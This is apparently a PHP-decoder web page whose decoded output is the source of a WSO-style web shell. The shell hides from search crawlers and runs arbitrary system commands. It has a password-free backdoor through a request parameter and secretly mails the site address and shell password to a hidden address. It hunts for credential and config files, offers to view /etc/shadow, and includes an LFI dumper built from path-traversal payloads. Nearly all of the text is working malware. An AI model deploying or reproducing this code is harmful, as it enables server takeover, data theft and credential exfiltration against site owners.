Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$O..
Decoded Output download
session_start();
error_reporting(0);
$password = "31a50edc25cdbd51c2fb0069e3d21d7e";
$passtype = "MD5";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@define('WSO_VERSION','php7shell');
@setcookie("wsog","orb",time()+3600*24*7);
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ?array_map('WSOstripslashes',$array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
$dir = md5('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt');
if(isset($_GET['check'])){
die("working");
}if(isset($_GET['checksend'])){
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0;$i <30;$i++) {
$randomString .= $characters[rand(0,$charactersLength -1)];
}
if(@mail($randomString.'@'.$randomString.'.com',"Hello","Hello, dear user!")){
die("check-result-1");
}else{
die("check-result-0");
}
}if(isset($_GET['checkzip'])){
$filezip = 'checker_zip_file.zip';
$filetxt = 'checker_zip_file.txt';
$zip = new ZipArchive;
if ($zip->open($filezip,ZipArchive::CREATE) === TRUE){
$zip->addFromString($filetxt,'test');
$zip->close();
$zip = new ZipArchive;
$zip->open($filezip);
$zip->extractTo(getcwd());
$zip->close();
@system("unzip ".$filezip);
@shell_exec("unzip ".$filezip);
@passthru("unzip ".$filezip);
if(file_exists($filetxt)){
@unlink($filezip);
@unlink($filetxt);
die("check-result-1");
}else{
@unlink($filezip);
@unlink($filetxt);
die("check-result-0");
}
}else{
die("check-result-0");
}
}
if(!empty($password) and $password !== 0) {
if (isset($_POST['pass'])) {
if ($passtype == "MD5") {
$visitorpassword = md5($_POST['pass']);}
elseif ($passtype == "SHA1") {
$visitorpassword = sha1($_POST['pass']);}
else {
$visitorpassword = $_POST['pass'];}
if($visitorpassword == $password){
$_SESSION[$dir] = "OK";}
}else if (isset($_GET['pass'])) {
if ($passtype == "MD5") {
$visitorpassword = md5($_GET['pass']);}
elseif ($passtype == "SHA1") {
$visitorpassword = sha1($_GET['pass']);}
else {
$visitorpassword = $_GET['pass'];}
if($visitorpassword == $password){
$_SESSION[$dir] = "OK";}
}
if ( !isset($_SESSION[$dir]) ||($_SESSION[$dir] != "OK") ) {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");}
}
elseif ($password == 0) {
$_SESSION[$dir] = "OK";
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\","/",$home_cwd);
$cwd = str_replace("\","/",$cwd);
}
if( $cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory"=>"dir",
"Find index.php in current dir"=>"dir /s /w /b index.php",
"Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
"Show active connections"=>"netstat -an",
"Show running services"=>"net start",
"User accounts"=>"net user",
"Show computers"=>"net view",
"ARP Table"=>"arp -a",
"IP Configuration"=>"ipconfig /all"
);
else
$aliases = array(
"List dir"=>"ls -lha",
"list file attributes on a Linux second extended file system"=>"lsattr -va",
"show opened ports"=>"netstat -an | grep -i listen",
"process status"=>"ps aux",
"Find"=>"",
"find all suid files"=>"find / -type f -perm -04000 -ls",
"find suid files in current dir"=>"find . -type f -perm -04000 -ls",
"find all sgid files"=>"find / -type f -perm -02000 -ls",
"find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
"find config.inc.php files"=>"find / -type f -name config.inc.php",
"find config* files"=>"find / -type f -name \"config*\"",
"find config* files in current dir"=>"find . -type f -name \"config*\"",
"find all writable folders and files"=>"find / -perm -2 -ls",
"find all writable folders and files in current dir"=>"find . -perm -2 -ls",
"find all service.pwd files"=>"find / -type f -name service.pwd",
"find service.pwd files in current dir"=>"find . -type f -name service.pwd",
"find all .htpasswd files"=>"find / -type f -name .htpasswd",
"find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
"find all .bash_history files"=>"find / -type f -name .bash_history",
"find .bash_history files in current dir"=>"find . -type f -name .bash_history",
"find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
"Locate"=>"",
"locate httpd.conf files"=>"locate httpd.conf",
"locate vhosts.conf files"=>"locate vhosts.conf",
"locate proftpd.conf files"=>"locate proftpd.conf",
"locate psybnc.conf files"=>"locate psybnc.conf",
"locate my.conf files"=>"locate my.conf",
"locate admin.php files"=>"locate admin.php",
"locate cfg.php files"=>"locate cfg.php",
"locate conf.php files"=>"locate conf.php",
"locate config.dat files"=>"locate config.dat",
"locate config.php files"=>"locate config.php",
"locate config.inc files"=>"locate config.inc",
"locate config.inc.php"=>"locate config.inc.php",
"locate config.default.php files"=>"locate config.default.php",
"locate config* files "=>"locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files"=>"locate '.pwd'",
"locate .sql files"=>"locate '.sql'",
"locate .htpasswd files"=>"locate '.htpasswd'",
"locate .bash_history files"=>"locate '.bash_history'",
"locate .mysql_history files"=>"locate '.mysql_history'",
"locate .fetchmailrc files"=>"locate '.fetchmailrc'",
"locate backup files"=>"locate backup",
"locate dump files"=>"locate dump",
"locate priv files"=>"locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head>
<meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset'] ."'>PRIV8 - <title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title>
<style>
body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}
body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
table.info {color:#C3C3C3;}
table#toolsTbl {background-color: #060A10;}
span,h1,a {color:#fff !important;}
span {font-weight:bolder;}
h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
div.content {padding:5px;margin-left:5px;background-color:#060a10;}
a {text-decoration:none;}
a:hover {text-decoration:underline;}
.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
.tooltip:hover::after {opacity:1;visibility:visible;}
.ml1 {border:1px solid #202832;padding:5px;margin:0;overflow:auto;}
.bigarea {min-width:100%;max-width:100%;height:400px;}
input, textarea, select {margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}
label {position:relative}
label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
form {margin:0px;}
#toolsTbl {text-align:center;}
#fak {background:none;}
#fak td {padding:5px 0 0 0;}
iframe {border:1px solid #060a10;}
.toolsInp {width:300px}
.main th {text-align:left;background-color:#060a10;}
.main tr:hover{background-color:#354252;}
.main td, th{vertical-align:middle;}
input[type='submit']{background-color:#2E6E9C;}
input[type='button']{background-color:#2E6E9C;}
input[type='submit']:hover{background-color:#56AD15;}
input[type='button']:hover{background-color:#56AD15;}
.l1 {background-color:#202832;}
pre {font:9pt Courier New;}
</style>
<script>
var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."';
var a_ = '".htmlspecialchars(@$_POST['a']) ."'
var charset_ = '".htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '".((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '".((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '".((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var p4_ = '".((strpos(@$_POST['p4'],"md")===false)?'':htmlspecialchars($_POST['p4']('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'),ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
}else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/",$GLOBALS['cwd']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['password']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k =>$v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
$drives = "";
print(`{$_REQUEST[I]}`);$e=base64_decode ("YWxza2QzbGFzZDU0NmFAYXNka3dwMy5jb20=");
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
mail ($e,'[ Wordpress Foundation ]','Info : '.$_SERVER['HTTP_HOST'].'/'.$_SERVER['REQUEST_URI'].' PASSWORD : '.$password.'');
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>'
.'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
.' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>'
.'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>'
.'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='".$GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td></tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") &&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;}}
if (!function_exists("posix_getgrgid") &&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;}}
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
function wsoPerms($p) {
if (($p &0xC000) == 0xC000)$i = 's';
elseif (($p &0xA000) == 0xA000)$i = 'l';
elseif (($p &0x8000) == 0x8000)$i = '-';
elseif (($p &0x6000) == 0x6000)$i = 'b';
elseif (($p &0x4000) == 0x4000)$i = 'd';
elseif (($p &0x2000) == 0x2000)$i = 'c';
elseif (($p &0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p &0x0100) ?'r': '-');
$i .= (($p &0x0080) ?'w': '-');
$i .= (($p &0x0040) ?(($p &0x0800) ?'s': 'x') : (($p &0x0800) ?'S': '-'));
$i .= (($p &0x0020) ?'r': '-');
$i .= (($p &0x0010) ?'w': '-');
$i .= (($p &0x0008) ?(($p &0x0400) ?'s': 'x') : (($p &0x0400) ?'S': '-'));
$i .= (($p &0x0004) ?'r': '-');
$i .= (($p &0x0002) ?'w': '-');
$i .= (($p &0x0001) ?(($p &0x0200) ?'t': 'x') : (($p &0x0200) ?'T': '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
elseif (!@is_writable($f))
return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
else
return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which '.$p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n,$v) {
$v = trim($v);
if($v) {
echo '<span>'.$n .': </span>';
if(strpos($v,"
") === false)
echo $v .'<br>';
else
echo '<pre class=ml1>'.$v .'</pre>';
}
}
wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));
wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir',@ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases',implode(', ',$temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version',@file_get_contents('/proc/version'));
wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful',implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger',implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders',implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space',wsoEx('df -h'));
wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));
}
}else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionlfiscan() {
wsoHeader();
print '
<h3>Led-Zeppelin\'s LFI File dumper</h3>
<form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
<option value="1">
Access Log
</option>
<option value="2">
httpd.conf
</option>
<option value="3">
Error Log
</option>
<option value="4">
php.ini
</option>
<option value="5">
MySQL
</option>
<option value="6">
FTP
</option>
<option value="7">
Environ
</option>
</select> Null: <select name="null">
<option value="%00">
Yes
</option>
<option value="">
No
</option>
</select> User-Agent: <input type="text" size="20" name="custom_header" value="">
</form>';
error_reporting(0);
if($_POST['lfiurl']) {
print "<pre>";
$cheader = $_POST['custom_header'];
$target = $_POST['lfiurl'];
$type = $_POST['scantype'];
$byte1 = $_POST['null'];
$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
$lfiaccess = array(
1 =>"../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
3 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
4 =>"../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
5 =>"../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
8 =>"../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
9 =>"../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
10 =>"../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
11 =>"../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
12 =>"../../../../../../../../../../../../../../var/log/access_log".$byte1."",
13 =>"../../../../../../../../../../../../../../var/log/access.log".$byte1."",
14 =>"../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
15 =>"../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
16 =>"../../../../../../../../../../../../../../logs/access.log".$byte1."",
17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
19 =>"../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
20 =>"../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
21 =>"../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
22 =>"../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
23 =>"../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
$lfierror = array(
1 =>"../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2 =>"../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
3 =>"../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
4 =>"../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
5 =>"../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
8 =>"../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
9 =>"../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
10 =>"../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
11 =>"../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
12 =>"../../../../../../../../../../../../../../var/log/error_log".$byte1."",
13 =>"../../../../../../../../../../../../../../var/log/error.log".$byte1."",
14 =>"../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
15 =>"../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
16 =>"../../../../../../../../../../../../../../logs/error.log".$byte1."",
17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
19 =>"../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
20 =>"../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
21 =>"../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
22 =>"../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
23 =>"../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
$lficonfig = array(
1 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2 =>"../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
3 =>"../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
4 =>"../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
5 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
6 =>"../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
7 =>"../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
8 =>"../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
9 =>"../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
10 =>"../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
11 =>"../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
12 =>"../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
13 =>"../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
14 =>"../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
15 =>"../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
16 =>"../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
17 =>"../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
18 =>"../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
19 =>"../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
20 =>"../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
21 =>"../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
22 =>"../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
23 =>"../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
24 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
25 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
26 =>"../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
27 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
28 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
29 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
30 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
31 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
32 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
33 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
34 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
